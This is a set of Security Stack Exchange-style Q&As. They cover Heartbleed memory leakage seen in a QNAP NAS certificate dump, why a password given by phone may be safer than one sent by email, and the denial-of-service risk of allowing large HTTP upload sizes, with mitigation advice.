/C=TW/ST=Taiwan/L=Taipei/O=QNAP Systems Inc./OU=NAS/CN=TS Series NAS...q_support@qnap.com......q_support@qnap.com......
/C=TW/ST=Taiwan/L=Taipei/O=QNAP Systems Inc./OU=NAS/CN=TS Series NAS/emailAddress=q_support@qnap.com..../C=TW/ST=Taiwan/L=Taipei/O=QNAP Systems Inc./OU=NAS/CN=TS Series
NAS/emailAddress=q_support@qnap.com....TW......TW......Taiwan..Taiwan..Taipei..Taipei..\T.BdT.BPTTH,N.B..?._LSSDN.B8.?._LSSXN.BH.?._LSShN.BP.?._LSS|N.B`.?._LSS.N.Bp.?._LSS.N.B..?._LSS.N.B..?._
LSS.N.B..?._LSS.Q.B..?._LSS.Q.B..?._LSS.Q.BH.?._LSS.Q.B..?._LSS.Q.B0.?._LSS.R.B..?._LSS.R.B..?._LSS,R.B..?._LSS@R.B..?._LSSTR.B..?._LSShR.B..?._LSS.R.B@.?._LSS.S.B..?._LSS.S.B0.?._LSS0S.B@.?._
LSSDS.BP.?._LSSXS.B..?._LSSlS.B..?._LSS.S.B..?._LSS.T.B(.?._LSS$T.BP.?._LSS8T.Bx.?._LSSLT.B..?._LSS.............................................................................................
.............................................................................................................QNAP Systems Inc........QNAP Systems Inc........NAS.....NAS.....TS Series NAS...TS Series
NAS...q_support@qnap.com......q_support@qnap.com......rsaEncryption...rsaEncryption...sha1WithRSAEncryption...sha1WithRSAEncryption...F12392A6F7C71C1A30642791B394C4BBAF8103A6772BD28E387CBD4979FC7AEE
........F12392A6F7C71C1A30642791B394C4BBAF8103A6772BD28E387CBD4979FC7AEE..............................................................................................................................

What exactly is this data?

In particular; these hexadecimal character strings look like some sort of keys/hashes:

F12392A6F7C71C1A30642791B394C4BBAF8103A6772BD28E387CBD4979FC7AEE

ABF42CCAC60E1D07

Is this information of any particular use or interest to would-be attackers / eaves-droppers??

Heartbleed results in arbitrary server memory being disclosed. Sometimes this contains sensitive information. In some cases, this is the server's private key, which can be the most sensitive information on the server. In many cases, it can contain information that is intended for a different client. This is probably what you are seeing: certificates, version strings, and other information used internally by the web server.


IT will only give password over phone - but is that really more secure than email? Every year an automated password reset occurs on a VPN account that I use to connect to the institution's servers. The VPN accounts/passwords are managed by the institution's IT department, so I have to send an email every year to follow up with the account controller in order to get the new password. This always ends in a phone call, because their policy is to not send passwords through email.

I have a vague understanding of why sending passwords through email is bad, but honestly I don't understand why telling someone a password over a phone would be any better. Assuming I have a 0% chance to change their policy (I really have no chance), why would telling someone a password over a phone call be more secure than email?

I am primarily focused on the ability for phone/email to be intercepted by a third party, but @Andrew raised a good point about the permanency of email.

There is some great information in this Q/A, but that question is about the most secure way to send login information, while I'm specifically asking about phone call vs email security.

Emails are saved somewhere, whether it be on a mail server or someone's personal computer. Phone calls usually are not, unless it's a customer facing environment.


What are the potential vulnerabilities of allowing a large http body size? With NGINX and PHP I am allowing 5GB files to be 'uploaded' to my server although they will not be downloaded unless they are 'legitimate' (that is for another question ;)). I was wondering is this is making it easier for DDOS attacks or other attacks or is it as vulnerable as normal seeing as 1 large request is the same if not less intensive than as many small http requests.

I'm going to go for an answer but I'm also not an expert on this particular topic, so I'll be curious to read any other answers that might come in.

I believe that the short answer is this: allowing large HTTP post bodies certainly provides an avenue for DOS attacks, but it isn't necessarily the most attractive avenue for DOS attacks.  As a result, I certainly wouldn't set a max body size substantially larger than what I need, but if I needed a large post body I would allow it and not worry to much about it.  In detail:

Preferred DDOS attack vectors

There are lots of ways to DOS a website.  These days the largest DDOS attacks come from amplified DDOS attacks.  These are attacks that (typically) hit UDP protocols that can receive a small amount of traffic and respond with a much larger amount of traffic which can be directed to arbitrary IP addresses on the internet.  For instance, the current (March 2018) record for largest DDOS attack hit github using such an attack vector (https://githubengineering.com/ddos-incident-report/).  These sorts of attacks seek to completely overwhelm the network capacity of the target servers, taking them down for as long as the attack lasts.

The vector used in the github incident had an amplification factor of ~51,000, which means that for each byte of network traffic the originating botnet created, 51,000 bytes hit github.  At the peak of the attack github's network (or their DDOS mitigation provider's network) saw roughly 1.35Tbs of traffic.  Assuming an amplification factor of 51000x, this means the actual botnet that triggered the attack could push out roughly 26Mbs of traffic.  If that same botnet had been used to simply upload large amounts of data to an endpoint that accepted large uploads, there would have been no amplification and githhub would have been hit with a DDOS attack that consumed roughly 26Mbs of github's traffic.  I doubt they would have noticed.

Above I focused on amplification-based DDOS attacks, but they obviously aren't the only option.  The amplification part is what made this one so successful (in terms of network traffic - it didn't actually take down github), but you also need to find a suitable amplification vector that you can exploit to perform such an attack.  Otherwise though, there are many other ways to DDOS a service: you can overrun its CPU capabilities (imagine repeatedly hitting a poorly performing endpoint that sucks up substantial CPU or database resources per request), you can overrun its network by simply throwing lots of data at it, you can hold open TCP/IP connections until the server empties its connection pool, etc...

Disadvantages of attacking a file upload

All this to say: overrunning a file upload endpoint is certainly one way to try to DOS a system, but probably not the best.  The trouble is that it leaves the attacker and defender on equal territory.  You can only overwhelm the target with as much data as you are able to send.  Using up open connection pools, hitting high-resource endpoints, amplification attacks, etc, are all ways to attack a resource that give your resources extra leverage, and make it easier to DDOS people.  As a result, you certainly can DOS someone by overwhelming a file upload endpoint, but there are probably more effective ways to do it.  Moreover, as long as you have enough network traffic at your disposal, I don't think that hitting a file upload endpoint will have any particular advantages: I believe that you can send the data regardless of whether or not the server on the other end feels like receiving it.  The only possible advantage I can see about hitting a file upload endpoint (although again, not an expert in this area), is that the file ends up actually stored on a server somewhere, and you may be able to fill up a hard-drive with large temporary files.  Even this though is probably not the most effective DOS strategy.

All this brings us back to what I originally said: be smart and don't configure your server to allow substantially larger uploads than you need, but in terms of security concerns there are likely larger ones than this.

Securing a file upload endpoint

While a file upload endpoint may not be the first choice of places to hit with a DDOS attack, that doesn't mean that security concerns should go out the window.  As you mention in comments, requiring user access doesn't help much: PHP will accept the upload regardless and store it in a temporary location.  It will get immediately deleted when you don't do anything with the upload, but it will still get written to disk temporarily.

Your other suggestion of setting the /tmp directory size large enough that you can't run out of free space (as determined by your available bandwidth) will certainly make sure your hard-drive won't fill up (although overflowing a /tmp directory wouldn't necessarily kill a server, especially if it is on its own partition). That then shows the next weak point in your chain - if all your bandwidth is being used up in an attempt to overwhelm a file upload endpoint, then your service is going to be down regardless of whether or not your machine has space on its hard-drive (because your network bandwidth is all used up).  Which pretty much answers your question because at that point in time a DDOS via file upload is no longer possible. If your file upload endpoint can't be DDOS'd except by completely overwhelming your network bandwidth, then no one will bother trying to DDOS your file upload endpoint: they'll just aim enough traffic at you to try to overwhelm your network connection.  At that point in time, I'd say that your file upload is secure!

I'm not sure how much it would cost to purchase that much hard-drive space.  It would depend on your hosting provider (although hard-drive space is usually cheap) and your available bandwidth.  That being said, there is also a pretty simple solution to protect such a system: put your file upload system on a separate server on a separate network, (uploads.example.com) and make sure all your systems have some DDOS protection (i.e. cloudflare).  Then a DDOS against your file upload endpoint can take it down, but the rest of your systems would continue on their merry way.  Of course in that case, I can't imagine someone would try to DDOS your file upload.  They would just try to find a more appealing attack vector that impacts your main systems.